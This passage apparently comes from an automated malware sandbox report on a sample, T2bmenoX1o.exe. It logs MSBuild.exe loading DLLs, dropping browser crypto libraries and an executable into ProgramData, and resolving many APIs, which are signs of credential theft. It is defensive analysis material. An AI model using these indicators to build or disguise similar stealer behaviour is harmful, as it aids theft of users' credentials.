Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: T2bmenoX1o.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: T2bmenoX1o.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: T2bmenoX1o.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: T2bmenoX1o.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: T2bmenoX1o.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: T2bmenoX1o.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: T2bmenoX1o.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: T2bmenoX1o.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2249159673.0000000038339000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2244107241.000000002C45F000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: T2bmenoX1o.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: T2bmenoX1o.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: T2bmenoX1o.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: T2bmenoX1o.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: T2bmenoX1o.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00418ADE GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00418ADE

Source: sql[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0C1AA push ecx; ret	0_2_00E0C1BD
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB71AD push ecx; ret	0_2_00DB71C0
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0C5D6 push 800003C3h; ret	0_2_00E0C5DD
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0C56A push cs; retn 0003h	0_2_00E0C58D
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0C654 push cs; retf 0003h	0_2_00E0C655
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00E0EBED push 0000004Ch; iretd	0_2_00E0EBFE
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DFAE1D push ecx; ret	0_2_00DFAE30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042F2D2 push ecx; ret	1_2_0042F2E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00422EC9 push esi; ret	1_2_00422ECB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DF45 push ecx; ret	1_2_0041DF58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00432715 push 0000004Ch; iretd	1_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB8B536 push ecx; ret	1_2_6CB8B549
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B71AD push ecx; ret	8_2_001B71C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AAFIIJDAAA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AAFIIJDAAA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418ADE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
